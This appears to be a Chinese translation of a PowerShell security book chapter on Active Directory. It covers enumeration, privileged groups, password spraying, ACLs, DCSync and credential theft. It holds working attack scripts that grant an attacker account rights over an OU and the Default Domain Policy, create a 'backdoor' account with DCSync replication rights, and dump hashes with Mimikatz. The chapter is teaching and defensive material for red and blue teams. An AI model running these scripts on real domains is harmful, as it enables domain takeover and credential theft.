后来,微软推出了 ADSI 加速器,这些加速器为访问特定目录数据类型提供了简化的语法。这些类型加速器允许你使用简化语法;例如,[adsi] 类型加速器表示 System.DirectoryServices.DirectoryEntry 类,而 [adsisearcher] 则表示 System.DirectoryServices.DirectorySearcher 类。

例如,以下 PowerShell 代码直接使用 System.DirectoryServices 类:

$DistinguishedName = "LDAP://OU=PSSec Computers,DC=PSSec,DC=local"
([System.DirectoryServices.DirectoryEntry]$DistinguishedName).Children

这相当于以下使用 [****adsi] 加速器的代码:

$DistinguishedName = "LDAP://OU=PSSec Computers,DC=PSSec,DC=local"
([adsi]$DistinguishedName).Children

如果我们将之前的代码示例重写,以查找所有名字为 Miriam 的用户,并使用 [adsisearcher] 加速器代替 DirectoryServices,那么代码将如下所示:

([adsisearcher]"(&(sAMAccountType=805306368)(givenName=Miriam))").FindAll() | ForEach-Object {
    Write-Output "Name: $($_.Properties['cn'])"
    Write-Output "Username: $($_.Properties['sAMAccountName'])"
    Write-Output "Email: $($_.Properties['mail'])"
    Write-Output ""
}

通过使用 ADSI、ADSI 加速器、LDAP 过滤器和 System.DirectoryServices 类,你可以轻松地创建自己的自定义函数来处理 AD。这些函数可以用来操作现有条目,也可以用于从 AD 查询信息,这在进行枚举时非常有用。

枚举

正如我们在本章中早些时候所学到的,枚举通常是获取环境更多细节的第一步(并根据对手可以访问的内容反复进行)。枚举有助于找出可用的资源以及哪些访问权限可能被滥用。

当然,枚举不仅对红队人员有帮助,对于蓝队人员定期审计权限也同样重要。在攻击者发现之前,最好能先看到自己环境中可以枚举的内容并进行修复或调整。

在 AD 中,所有能够访问公司网络的用户都可以枚举所有用户账户,以及(高权限的)组成员身份。在 Azure Active Directory** (AAD**) 中,所有通过互联网访问 Office 365 服务的用户都可以枚举其租户中的 AAD 用户账户和组成员身份。

让我们从本章开始研究 AD 中的枚举。请参阅下一章以了解 AAD 中枚举的工作原理。

在 AD 中,特别感兴趣的是 哪些用户 被映射到 哪些组,以及 谁被允许做什么。驻留在 特权组 中的账户是特别有价值的攻击目标。

了解域中 有哪些用户和计算机 也非常有用,可以帮助规划后续步骤,并找出哪些账户拥有哪些 访问控制列表(ACLs) 和哪些 组织单位(OU)。

用户权限枚举也非常有用,不仅在域级别,而且在单一系统中也同样适用。

组策略对象(GPOs) 可用于管理域中的计算机和用户。因此,如果一个保护不严的账户具有管理 GPO 的权限,这可能会被滥用来劫持受影响的机器和账户。

最后,如果环境中有多个信任关系,了解这些信任关系会非常有价值,因为它们为攻击者打开了新的攻击向量。

有一些模块可供使用,比如PowerView,这是 Will Schroeder 编写的,属于PowerSploit的一部分,能够帮助你进行枚举。请注意,PowerSploit 仓库已经不再支持,并且未来不会继续开发。

还有一些很棒的工具,如BloodHound,由 Andy Robbins、Rohan Vazarkar 和 Will Schroeder 编写,帮助你找到通向域管理员账户的最短路径(通常通过横向移动和凭证盗窃)。

但是,通过利用 AD 模块中可用的基本 cmdlet,也可以枚举用户、组、ACL、信任关系等信息。

我编写了一些脚本,供红队和蓝队用于枚举。这些脚本可以从本书的 GitHub 仓库下载:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06

但让我们来看一下对手用来枚举用户、组和有价值攻击目标的不同方式。请注意,这不是一个完整的列表,因为我们主要关注的是身份和横向移动。

枚举用户账户

每次攻击通常从一个被破坏的用户账户开始。一旦对手在机器上建立了立足点,就会利用它进一步了解环境,通常还会窃取更多身份信息并进行横向移动。

通常情况下(至少我希望并建议如此),被攻破的用户没有管理员权限,因此对手需要提升权限。这可以通过利用本地执行的软件漏洞来完成。但往后看,了解哪些账户和/或组具有哪些权限,不仅是在本地机器上,甚至可能是在其他机器上,也是非常有趣的。

因此,蓝队成员定期审计用户权限非常重要——不仅是在用户机器上,而且还包括在服务器上配置的权限。

了解 AD 中存在哪些用户账户,对攻击者来说可能非常有价值。这些信息不仅可以用来将账户映射到组和配置的用户权限,还可以在攻击者知道存在哪些账户后发起密码喷射攻击。

通过使用Get-ADUser cmdlet,它是ActiveDirectory模块的一部分,你可以获取 AD 中所有存在的用户账户:

> Get-ADUser -Filter *

ActiveDirectory 模块是远程服务器管理工具RSAT)的一部分,可以单独安装:docs.microsoft.com/en-us/powershell/module/activedirectory

该模块预安装在所有域控制器上。通常,管理员也会安装此模块以进行远程管理。

尽管可以使用诸如 PowerView 或标准 AD cmdlet 等工具检索 AD 中的所有用户帐户,但需要注意 PowerView 不再受支持,并且目标系统上可能并不总是存在ActiveDirectory模块。因此,了解可以用于枚举的其他工具是很有必要的。

其中一种替代方法是使用带有过滤器的[adsisearcher]加速器,例如(sAMAccountType=805306368)。这允许在 AD 中搜索而不依赖外部工具或模块,如以下示例所示:

$domain = Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select-Object -ExpandProperty domain
$filter = "(sAMAccountType=805306368)"
$searcher = [adsisearcher]"(&(objectCategory=User)$filter)"
$searcher.SearchRoot = "LDAP://$domain"
$searcher.FindAll() | ForEach-Object {$_.GetDirectoryEntry().Name}

使用此代码片段,我们将检索指定域中所有用户帐户的列表。通过熟悉 AD 搜索的不同方法,您可以增加在各种环境中成功的机会。

sAMAccountType属性是一个整数值,指定在 AD 中正在创建的对象类型。以下是您可以用于枚举的常见sAMAccountType属性的概述:

  • 805306368: 普通用户帐户

  • 805306369: 计算机帐户

  • 805306370: 安全组

  • 805306371: 分发组

  • 805306372: 具有域本地范围的安全组

  • 805306373: 具有域本地范围的分发组

  • 805306374: 具有全局范围的安全组

  • 805306375: 具有全局范围的分发组

  • 805306376: 具有全局范围的安全组

  • 805306377: 具有全局范围的分发组

实际上,所有经过身份验证的用户都可以读取所有用户、组、OU 和其他对象,这使得枚举对于对手来说是一项容易的任务。

要演示如何使用 RSAT 工具进行枚举和不使用 RSAT 工具进行枚举的情况,我编写了Get-UsersAndGroups.ps1Get-UsersAndGroupsWithAdsi.ps1脚本,您可以在本书的 GitHub 存储库中找到:

枚举 GPO

要枚举当前环境中链接的 GPO,您可以使用 ADSI 加速器:

通过使用[adsi]加速器,您可以提供DistinguishedName路径以显示gplink属性,该属性将显示链接到该特定路径的 GPO。要查询链接到PSSecComputers OU(OU=PSSecComputers,DC=PSSec,DC=local)的 GPO,我们可以使用以下代码片段来查询:

$DistinguishedName = "LDAP://OU=PSSecComputers,DC=PSSec,DC=local"
$obj = [adsi]$DistinguishedName
$obj.gplink

以下截图显示了此查询的结果:

图 6.2 – 使用 ADSI 加速器查询 GPO

图 6.2 – 使用 ADSI 加速器查询 GPO

你还可以使用[adsisearcher]过滤与环境相关联的 GPO,如下所示:

$GpoFilter = "(objectCategory=groupPolicyContainer)"
$Searcher = [adsisearcher]$GpoFilter
$Searcher.SearchRoot = [adsi]"LDAP://DC=PSSec,DC=local"
$Searcher.FindAll() | ForEach-Object {
    Write-Host "GPO Name:" $_.Properties.displayname
    Write-Host "GPO Path:" $_.Properties.adspath
}

该域内所有可用的 GPO 将被返回,如下图所示:

图 6.3 – 使用 adsisearcher 加速器枚举 GPO

图 6.3 – 使用 adsisearcher 加速器枚举 GPO

如果可用,亦可使用ActiveDirectory模块查询与你的环境相关联的 GPO。以下代码片段展示了如何实现这一点:

$GpoList = Get-GPO -All -domain "PSSec.local"
$GpoList | ForEach-Object {
    Write-Host "GPO Name:" $_.DisplayName
    Write-Host "GPO Path:" $_.Path
}

除了枚举 GPO,枚举组也是一个重要部分,我们将在下一节中重点讨论。

枚举组

了解哪些用户帐户属于哪个组对于攻击者来说是非常宝贵的信息。通过这些信息,他们可以快速了解某些帐户是否可能访问其他计算机。

但这也是蓝队员应定期进行的任务;通常,系统和访问权限并未得到足够加固,因此了解哪些用户属于哪个 AD 组并进行调整非常有价值。

从长远来看,实施监控也很有意义,这样如果某个 AD 组的成员发生了意外变化,你可以立即收到警报。

为了开始枚举你的 AD 组,我为你写了一个简单的脚本,显示组以及它们的成员:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Get-UsersAndGroups.ps1

下载脚本后,你可以直接使用它并将输出进一步处理为 PowerShell 对象,或者可以将其通过管道传递给Export-Csv函数,这样可能会更方便进行分析:

> .\Get-UsersAndGroups.ps1 | Export-Csv -Path C:\tmp\ADGroups.csv

输出被导出为.csv文件,路径为C:\tmp\ADGroups.csv。现在,你可以根据需要处理该文件。

一个选择是将其作为外部数据导入 Excel,并创建一个数据透视表,以更好地理解你的组成员关系。

由于 Excel 和 Power Pivot 不在本书的范围内,我不会解释如何操作,但有许多优秀的资源可以帮助你深入了解这些技术,包括以下内容:

我创建了一些从我的PSSec演示实验室导出的示例文件,你可以在本书的 GitHub 仓库中找到它们:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06/EnumeratingGroups

这些示例仅是如何导入.csv文件并创建 PowerPivot 表格以进一步分析环境中 AD 组成员身份的建议。

特权账户和组

特权账户是指那些比普通账户拥有更多权限和特权的账户,因此需要特别注意其安全性。

在 AD 中也存在一些内建特权账户,例如管理员账户访客账户HelpAssistant 账户krbtgt 账户(负责 Kerberos 操作)。

如果你想阅读更多关于 AD 内建账户的内容,请参考官方文档:learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-default-user-accounts

AD 中的内建特权组

在 AD 中,有一些预定义的角色,例如企业管理员域管理员角色,但这些并不是唯一的。

这些预定义角色位于你的域的Builtin容器中。要查询它,你可以使用Get-ADGroup cmdlet 并指定域特定的Builtin容器的Distinguished NameDN)作为-Searchbase;使用这个参数,你可以定义执行命令的单位。

所以,如果我想在Builtin容器中搜索我的PSSec.local域,我会指定CN=Builtin,DC=PSSec,DC=local作为-Searchbase

Get-ADGroup -SearchBase 'CN=Builtin,DC=PSSec,DC=local' -Filter * |** **Format-Table Name,GroupScope,GroupCategory,SID

因为我想找到所有内建账户,所以我指定了一个通配符(*****)作为-Filter。将命令通过管道传递给Format-Table,可以让你定义在格式化表格中要查看哪些数据,下面的截图展示了一个示例:

图 6.4 – 显示所有现有的 AD 组

图 6.4 – 显示所有现有的 AD 组

该命令查找内置容器中的所有内置账户,并将输出格式化为表格。然而,如果您没有ActiveDirectory模块,您可以使用带有 LDAP 过滤器的[adsisearcher]来完成相同的任务。以下命令将搜索所有带有objectClass=group过滤器的组:

> ([adsisearcher]"(&(objectClass=group)(cn=*))").FindAll()

尽管这些预定义组无法移出内置容器,但可以在其中创建其他账户。

因此,您可能需要微调您的命令,只搜索内置容器中具有众所周知的安全标识符SID)的账户。

这些内置组是从哪里来的呢?

当这些内置组创建时,微软最初希望为系统管理员简化,以便他们拥有一些预配置的组,可立即用于特定用例。

并且他们确实这样做了!某些组织今天仍在使用这些内置组。那些享受不用复杂查找需要分配给其备份账户的用户特权的公司,可以只需将其账户添加到组中,无需进一步配置。

不过,对手也已经发现了这些组,用于他们自己的目的:这些公开文档的组在世界各地的每个环境中都具有太多特权和相同的众所周知 SID —— 这听起来不是很惊人吗?

这意味着更容易攻击这些内置组:如果对手已经可以硬编码这些公开文档的内置组的众所周知 SID,那么就不需要发现可用的组了。

因此,最初善意的用意,也可以被用来反对最初的目的。不幸的是,太多公司已经开始在其生产环境中使用这些组,因此没有默认删除这些内置组以向下兼容的选项。

然而,从安全角度来看,我建议不再使用所有这些内置组:相反,创建您自己的组(该组没有众所周知的 SID),并且仅授予所需的特权。

以下是合理的内置组,仍然可以和应该使用:

  • 企业管理员

一个众所周知的 SID 是 S-1-5-21<根域>-519

此组成员可以进行跨森林更改。这是森林中权限最高的组。

  • 域管理员

一个众所周知的 SID 是 S-1-5-21<域>-512

此组成员可以管理域。在企业管理员组之后,这是域中权限最高的组。

  • 模式管理员

一个众所周知的 SID 是 S-1-5-21<根域>-518

模式管理员组成员有权对 AD 模式进行修改。

  • 内置管理员

一个众所周知的 SID 是 S-1-5-32-544

该组的成员是本地系统的管理员,这意味着他们也是域中所有域控制器的本地管理员。

具有过多权限且不应再使用的内置组如下:

  • 备份操作员

一个著名的 SID 是S-1-5-32-551

备份操作员具备对计算机上所有文件执行完整备份和恢复的能力,无论文件权限如何。即使他们无法访问受保护的文件,备份操作员仍然可以备份和恢复这些文件。他们还可以登录并关闭他们拥有备份操作员权限的计算机。

  • 账户操作员

一个著名的 SID 是S-1-5-32-548

账户操作员有权限在所有容器和活动目录(AD)中的组织单位(OU)内创建、修改和删除用户、组和计算机账户,但Builtin容器和域控制器 OU 除外。他们不能修改管理员组或域管理员组。

  • 打印操作员

一个著名的 SID 是S-1-5-32-550

打印操作员组的成员有能力管理打印机和文档队列。

  • 服务器操作员

一个著名的 SID 是S-1-5-32-549

服务器操作员可以与服务器交互式登录,创建和删除网络共享,启动和停止服务,备份和恢复文件,格式化硬盘,并关闭计算机。谨慎授予域控制器上的服务器操作员角色。

当然,内置组不仅仅是上述这些,按照最小权限原则谨慎分配这些组是有意义的。

如果你想了解更多关于哪个著名的 SID 属于哪个内置组或账户的信息,可以参考官方文档:docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows

密码喷射

密码喷射类似于暴力破解攻击,并可以帮助攻击者识别并滥用密码弱的账户。密码喷射是一种缓慢且有条理的方法,攻击者会在大量账户上尝试一系列常见的已知密码。相比之下,暴力破解攻击是攻击者对单个账户快速连续地尝试大量潜在密码。

如果使用猜测的密码成功登录,攻击者便可控制指定账户,并利用该账户横向移动,获取更多的凭证或感兴趣的数据。

有许多开源脚本和模块可供攻击者用于密码喷射攻击,包括以下内容:

缓解措施

在本地 AD 中,检测密码喷射攻击是很难的。虽然你可以在 安全 事件日志中看到失败的登录事件 4625,但如果攻击者足够小心,仍然很难将密码喷射攻击与合法的认证尝试区分开来。许多攻击者也会减慢攻击的频率,以避免账户被锁定,或让环境监控人员不易察觉。

配置密码策略可以帮助强制执行更长且更复杂的密码。一般来说,我建议强制使用更复杂、更长的密码,但避免强制过快的密码更改周期。如果用户每三个月就必须更改一次密码,他们会急于找到一个新的好密码,结果可能会出现像“Spring2023!”或“Summer2023!”这样的密码。

同时,教育你的用户如何使用正确的密码,比如使用密码短语。以下来自流行网站xkcd.com(Randall Munroe 创作)的漫画提供了一个关于好密码与坏密码的生动对比(来源:xkcd.com/936/):

图 6.5 – 来自 xkcd 的“密码强度” (来源: https://xkcd.com/936/)

图 6.5 – 来自 xkcd 的“密码强度” (来源: https://xkcd.com/936/)

AAD 也提供了一些缓解措施来应对密码喷射攻击(尽管这种攻击仍然可能发生)。

访问权限

访问控制可以配置为允许一个或多个用户访问特定资源。根据每个访问级别可以执行的操作,配置和维护访问权限的设置是非常敏感的。

此外,在 AD 中,资源是通过访问控制来限制的。在本节中,我们将了解基本概念以及如何审计访问。

什么是 SID?

SID 是账户的唯一标识符,也是主要的标识符。它在账户的整个生命周期内都不会改变。这使得在不引发任何访问或安全问题的情况下,可以重命名用户。

每个环境中都有一些知名的 SID,唯一的区别是 SID 开头会加上域 ID。

例如,内置域管理员的知名 SID 按照以下模式:S-1-5-21-<域>-500

最后一组数字表示用户编号:在此案例中,500 是一个保留的、知名的 SID。知名 SID 在所有环境中都是相同的,唯一不同的是域部分。普通账户的 SID 用户编号从 1000 开始。

如果你有兴趣了解更多关于知名 SID 的信息,可以随时查看官方文档:

如果我们查看在我的 PSSec.local 演示环境中内建域管理员的 SID,那么它将是以下 SID——其中单独的 域部分已高亮 并以斜体显示:

S-1-5-21-***3035173261-3546990356-1292108877***-500

要查找 AD 用户帐户的 SID,可以使用 Get-ADUser cmdlet,该 cmdlet 是 ActiveDirectory 模块的一部分,如以下截图所示:

图 6.6 – 使用 Get-ADUser 显示 SID

图 6.6 – 使用 Get-ADUser 显示 SID

Windows 使用 SID 在访问控制列表中授予或拒绝对特定资源的访问。在这种情况下,SID 用于唯一标识用户或组。

访问控制列表

访问控制列表ACL)是一个控制对本地 AD 中资源的访问权限的列表。它可以包含各种 访问控制条目ACE),每个 ACE 包含关于谁可以访问什么的信息——例如,受托人是否可以访问某个资源,访问是否被拒绝,或者甚至是否需要审计?

可保护对象的安全描述符可以有两种类型的 ACL——自主访问控制列表DACL)和 系统访问控制列表SACL):

  • DACL:DACL 指定被 ACL 保护的对象上哪些受托人被授予或拒绝访问。

  • SACL:SACL 使管理员能够审计并记录何时有人尝试访问受保护的对象。

如果某个对象没有 DACL,则每个用户都可以完全访问该对象。有关 DACL 和 ACE 在 Windows 中如何工作的更多信息,请参见以下链接:learn.microsoft.com/en-us/windows/win32/secauthz/dacls-and-aces

访问控制条目

一个 ACE 是一个访问条目,包含以下信息,用于指定谁可以访问哪个资源:

  • 受托人:受托人通过其 SID 指定。

  • 访问掩码:确定此 ACE 控制的具体访问权限。

  • ACE 类型指示标志。

  • 一组位标志,控制从此 ACE 继承的子对象。

有六种类型的 ACE——其中三种类型适用于所有可保护对象,另外三种类型则特定于目录服务对象:

  • 访问拒绝 ACE:所有可保护对象都支持。可以在 DACL 中使用,以拒绝对由此 ACE 指定的受托人的访问。

  • 访问允许 ACE:所有可保护对象都支持。可以在 DACL 中使用,以允许对由此 ACE 指定的受托人的访问。

  • 系统审计 ACE:所有可保护对象都支持。可以在 SACL 中使用,以审计受托人何时使用分配的权限。

  • 访问拒绝对象 ACE:特定于目录服务对象。可以在 DACL 中使用,以禁止访问对象上的某个属性或属性集,或限制继承。

  • Access-allowed object ACE:特定于目录服务对象。可以在 DACL 中使用,用于授予对对象的属性或属性集的访问权限,或者限制继承。

  • System-audit object ACE:特定于目录服务对象。可以在 SACL 中使用,用于记录受托方访问对象的属性或属性集的尝试。

还可以使用 PowerShell 的Get-AclSet-Acl cmdlet 来管理 ACL:

例如,要访问用户账户对象的 ACL,可以使用Get-ACL "AD:$((Get-ADUser testuser).distinguishedname)").access命令。接下来,让我们探索 OU 的 ACL。

OU ACLs

OU 是可以对 AD 对象进行分类的单位。根据配置,不同的账户或组可以拥有对某个 OU 的管理权限,并且可以对它们应用不同的 GPO。

如果 OU 访问权限配置错误,这为攻击者提供了许多可能性。AD 环境中的一个常见攻击向量是通过修改 OU 权限。

修改 OU 权限

通过修改 OU 的权限,攻击者可以控制其中的对象,包括用户和计算机账户,并可能在域内提升权限。

比如,假设一个攻击者已经访问了 AD,并希望授予自己对特定 OU 中的对象的读取和修改权限。假设攻击者事先控制了PSSec\vvega账户,因此他们使用该账户授予自己读取和修改对象的权限,攻击者可以通过访问 OU 的 ACL 来轻松完成此操作,以下是一个示例:

$TargetOU = "OU=Accounts,OU=Tier 0,DC=PSSec,DC=local"
$AttackerIdentity=[System.Security.Principal.NTAccount]'PSSec\vvega'
$Ou = [ADSI]"LDAP://$TargetOU"
$Sec = $Ou.psbase.ObjectSecurity
$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, "ReadProperty, WriteProperty", "Allow")
$Sec.AddAccessRule($Ace)
$Ou.psbase.CommitChanges()

为了授予PSSec\vvega账户对OU=Accounts,OU=Tier 0,DC=PSSec,DC=local组织单位(OU)的控制权限,攻击者首先将其指定为目标 OU。接下来,他们检索该 OU 的对象安全性,创建一个新的ActiveDirectoryAccessRule规则,赋予攻击者读取和写入属性的权限,将访问控制规则添加到对象安全性中,最后提交更改,以授予攻击者对该 OU 的访问权限。

因此,作为蓝队成员,最好定期监控哪些 ACL 已配置,并在攻击者利用它们之前修复这些配置。

监控和枚举 OU 权限

为此,我编写了Get-OuACLSecurity.ps1脚本,可以在本书的 GitHub 仓库中找到:链接

它依赖于Get-ADOrganizationalUnitGet-ACL cmdlet。

使用 Get-ADOrganizationalUnit,你可以查看名称、区别名以及链接的 GPO:

> Get-ADOrganizationalUnit -Filter * | Out-GridView

如果你没有可用的 ActiveDirectory 模块,你可以使用 [adsisearcher] 类型加速器执行 LDAP 搜索来查询 AD。这里有一个示例,它使用 objectCategory 过滤器检索当前域中的所有 OU:

> ([adsisearcher]"objectCategory=organizationalUnit").FindAll()

使用Get-Acl,你可以查看每个 OU 配置了哪些访问权限:

> Get-Acl -Path "AD:\$(<DistinguishedName>)").Access

评估你的环境中 OU ACL 安全性最简单的方法是运行 Get-OuACLSecurity.ps1 脚本,并将其导出为 .csv 文件,然后在 Excel 中导入和分析:

> .\Get-OuACLSecurity.ps1 | Export-Csv -Path C:\tmp\OuAcls.csv

再次说明,我已经创建了一个示例分析文件并上传到了我们的 GitHub 仓库:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06/OU-ACLs

有些访问权限是自动生成的,因此,如果你尚未加强 AD OU 的访问权限,这是你需要尽快完成的任务。

我还在 ACLPivot.xlsx 文件的 OuACLs Pivot Power Pivot 视图中标记了一些账户,如下图所示:

图 6.7 – OU 访问权限的 Power Pivot 分析

图 6.7 – OU 访问权限的 Power Pivot 分析

例如,在部署 AD 时,像账户操作员打印操作员这样的访问权限内建组会自动添加。如前一节所述,这些内建组从哪里来?,它们最初是为了让你的工作更轻松,但如今,它们同样让攻击者的工作变得轻松。

也配置了针对所有人的访问权限。这是早期遗留下来的产物,保留它是为了防止连接到旧版的 AD。你应尽早删除这些访问权限。在现代 AD 环境中,仅需已验证用户具有访问权限即可。

最后,如果你在环境中没有运行任何预 Windows 2000 版本的遗留系统,那么你应该删除内建的Pre-Windows 2000 Compatible Access 组。

GPO ACL

GPO 是许多 AD 环境中的关键组件,因为它们用于在整个域中强制执行安全策略和配置。如果攻击者控制了一个 GPO,他们可以利用它将恶意设置传播到整个域,从而可能危及整个网络的安全。

例如,如果攻击者获取了一个有权限修改组策略访问控制的账户,他们可以使用以下演示代码将自己的账户(无论是自己创建的还是之前已经被攻破的)添加进去,从而能够更改 GPO 本身:

$Searcher = [adsisearcher]"(&(objectClass=groupPolicyContainer)(displayName=Default domain Policy))"
$Searcher.SearchRoot = [adsi]"LDAP://CN=Policies,CN=System,DC=PSSec,DC=local"
$Searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$SearchResult = $Searcher.FindOne()
$DistinguishedName = $SearchResult.Properties["distinguishedName"][0]
$TargetGPO = $DistinguishedName
$AttackerIdentity=[System.Security.Principal.NTAccount]'PSSec\vvega'
$Gpo = [ADSI]"LDAP://$TargetGPO"
$Sec = $Gpo.psbase.ObjectSecurity
$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, "GenericAll", "Allow")
$Sec.AddAccessRule($Ace)
$Gpo.psbase.CommitChanges()

代码片段首先使用 ADSI 搜索器查找默认域策略的可分辨名称,并将其设置为权限更改的目标 GPO。然后,它在 $AttackerIdentity 变量中指定攻击者的身份,并创建一个新的访问规则,授予攻击者对目标 GPO 的 GenericAll 权限。GenericAll 权限是一种预定义的安全原则,授予对特定对象或资源的所有可能访问权限;换句话说,它提供对对象的完全控制。

最后,脚本将更改提交到 GPO 的对象安全性,实际上授予攻击者对默认域策略的完全控制。这可能使攻击者修改 GPO 的设置,包括安全设置,并可能接管整个域的控制。

请确保定期检查您域中的 GPO ACL。您可以通过组合 Get-GpoGet-GPPermission cmdlet 来查看 GPO 访问权限,这些 cmdlet 是 GroupPolicy 模块的一部分。可以通过安装 RSAT 工具来安装 GroupPolicy 模块。有关此模块的更多信息,请访问:docs.microsoft.com/en-us/powershell/module/grouppolicy/

作为审计 GPO 访问权限的示例,我编写了一个脚本并将其上传到本书的 GitHub 仓库:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Get-GpoAcls.ps1

类似于 OU ACL 示例,您可以在 Excel 中创建一个数据透视表来评估您环境中的 GPO ACL。

域 ACLs

另一个特别关注的是配置在 AD 域本身的访问权限。这些访问权限控制谁有权限在域中复制对象或执行其他敏感的域操作。domainDNS 访问控制列表(ACLs)至关重要,因为它们赋予域控制器和域管理员在域内执行所有必要功能和操作的能力。

此外,通常在域根目录授予的访问权限会被所有子对象继承;因此,直接在根目录级别调整它们是有意义的。

您可以使用以下命令审计域级别上配置的 ACL:(Get-Acl -Path "AD:\$((Get-ADdomain).DistinguishedName)").Access |** **Out-GridView

DCSync

DCSync 攻击是一种技术,攻击者模拟域控制器的行为,诱使其他域控制器复制 AD 特定的信息(例如,NT Lan ManagerNTLM)哈希值和其他凭证相关数据)到攻击者。此攻击利用了 Microsoft Directory Replication Service RemoteMS-DRSR)协议,这是 AD 的一个基本且合法的功能,因此无法简单地禁用。

DCSync 攻击允许攻击者模拟域控制器并请求特定用户的密码数据,即使攻击者没有直接访问该用户的计算机或账户。攻击者可以利用这些哈希值在网络中进行横向移动和权限升级。

为了执行此攻击,攻击者必须在域中拥有较高的权限。获取这些权限的一种方式是通过创建后门账户,后门账户可以绕过安全控制并授予攻击者更高的权限。

首先,我们创建一个新用户账户,"backdoor",它应作为攻击者的 backdoor 账户:

$AttackerName = "backdoor"
$AttackerPassword = Read-Host -AsSecureString
$AttackerDescription = "Backdoor account for DCSync attack"
$AttackerPath = "OU=Service Accounts,OU=Tier 0,DC=PSSec,DC=local"
New-ADUser -Name $AttackerName -AccountPassword $AttackerPassword -Description $AttackerDescription -Path $AttackerPath -Enabled $true

接下来,我们创建将在 DCSync 攻击中使用的变量。首先,我们检索之前创建的后门用户的名称,并将其保存在 $AttackerIdentity 变量中,以备后用,使用 NTAccount 类。

现在,我们连接到域的根目录并检索域的区分名称。我们创建一个 $ReplAddGUID 变量来保存“Replicating Directory Changes All”扩展权限的 GUID(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)。我们还创建变量来指定 DCSync 攻击所需的访问控制类型:

$AttackerIdentity = System.Security.Principal.NTAccount.Name).ToString()
$Dsa = [ADSI]"LDAP://rootDSE"
$domainDN = $Dsa.defaultNamingContext
$ReplAllGUID = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$ObjRights = "ExtendedRight"
$ObjControlType  = [System.Security.AccessControl.AccessControlType]::Allow
$ObjInherit = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"

最后,我们使用攻击者的身份、访问权限、控制类型、继承性以及预定义的 GUID 值创建一个 AD 访问规则。然后,我们使用域名获取域目录对象的安全描述符,将访问规则添加到安全描述符的 DACL 中,并保存对目录对象的更改:

$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, $ObjRights, $ObjControlType , $ObjInherit, $ReplAllGUID)
$Dacl = [ADSI]"LDAP://$domainDN"
$Dacl.psbase.ObjectSecurity.AddAccessRule($Ace)
$Dacl.psbase.CommitChanges()

现在,访问权限已相应配置,攻击者可以使用像 Mimikatz 这样的工具提取密码哈希值。

Mimikatz 是一款臭名昭著的工具,最初由 Benjamin Delpy 编写,DCSync 功能由 Vincent le Toux 编写。你可以从 GitHub 下载源代码以及二进制文件:github.com/gentilkiwi/mimikatz/wiki

一旦下载了二进制文件或使用源代码构建,导航到 mimikatz.exe 文件所在的文件夹并执行它:

> .\mimikatz.exe

Mimikatz 被加载,现在可以输入你的 mimikatz 命令。以下命令允许你执行 DCSync 攻击:

> lsadump::dcsync /all /csv

理解、监控和保护域 ACL 对于防止未授权访问和数据泄露至关重要。然而,考虑到域信任同样重要,若配置和监控不当,域信任可能会带来额外的安全风险。

域信任

信任是将林和域相互连接的好方法。通过信任,你可以访问另一个林的资源,而无需在该林中拥有帐户。关于信任的更多信息可以在这里找到:docs.microsoft.com/en-us/azure/active-directory-domain-services/concepts-forest-trust

但信任也带来了更多人员访问你资源和可能访问你身份的风险。因此,你应该定期审计可用的信任,并删除不再需要的信任。

使用Get-ADTrust cmdlet,它是ActiveDirectory模块的一部分,你可以查看从你的域到其他域/林建立的信任:

> Get-ADTrust -Filter *

除了使用Get-ADTrust cmdlet,你还可以使用[adsisearcher]加速器来查看已建立的信任,特别是在ActiveDirectory模块不可用的情况下。使用以下命令来过滤受信任的域:

> ([adsisearcher]"(objectClass=trusteddomain)").FindAll()

信任可以有多个方向:

  • 双向:两个域/林相互信任。用户可以访问两个域/林中的资源。

  • 入站:当前的域/林是受信任的域或林。这意味着来自受信任域/林的用户可以访问当前域/林中的资源,但反之则不行。

  • 出站:当前的域/林是被信任的域/林;来自该域/林的用户可以访问另一个被信任的域/林中的资源。

对于单向信任,如果我们说Company域信任PartnerCompany域,这意味着来自PartnerCompany域的定义用户可以访问Company域中的资源,但反之则不行。

当然,这不是 AD 枚举方法的完整列表,但它应该有助于入门。如果你对其他枚举选项感兴趣,以下博客文章是一个很好的资源:adsecurity.org/?p=3719

凭证窃取

攻击者通常追求的第一个目标之一是提取身份并利用这些身份进行横向移动,从而获取更多身份,并重复此过程,直到找到高度特权的凭证(例如域管理员凭证),然后控制 AD,进而迅速控制整个环境。

在本节中,我们将研究本地 AD 环境中的身份验证基础知识,以及凭证相关攻击的工作原理。

身份验证协议

横向移动哈希传递票据传递——这些攻击不仅限于 PowerShell,因此它们不是 PowerShell 特有的问题。但由于 PowerShell 依赖与普通身份验证相同的身份验证机制,因此了解背后的机制非常重要。

当我们谈论身份验证时,我们正在深入探讨协议的内容。阅读完这些章节后,你可能还不是身份验证协议的专家,但你会理解 凭证窃取 攻击是如何可能发生的。

要开始,了解一般存在哪些身份验证协议是很重要的。最常用的协议是 NT LAN Manager** (NTLM**) 和 Kerberos,但在一些环境中,遗留的 LAN Manager 身份验证仍然被允许。

协议方面,我建议使用 Kerberos,并在无法使用时退回到 NTLMv2。在确认这些协议不再在你的环境中使用后,禁用 LAN Manager 和 NTLMv1 的使用(是的,我知道——这可能是一个漫长的过程)。

LAN Manager

LAN Manager 是一个非常古老的协议,它在 1987 年被实现,现在已经过时并被弃用。如果使用 LAN Manager 进行身份验证,攻击者很容易猜测出原始密码:LAN Manager 密码可以在几分钟内被暴力破解。

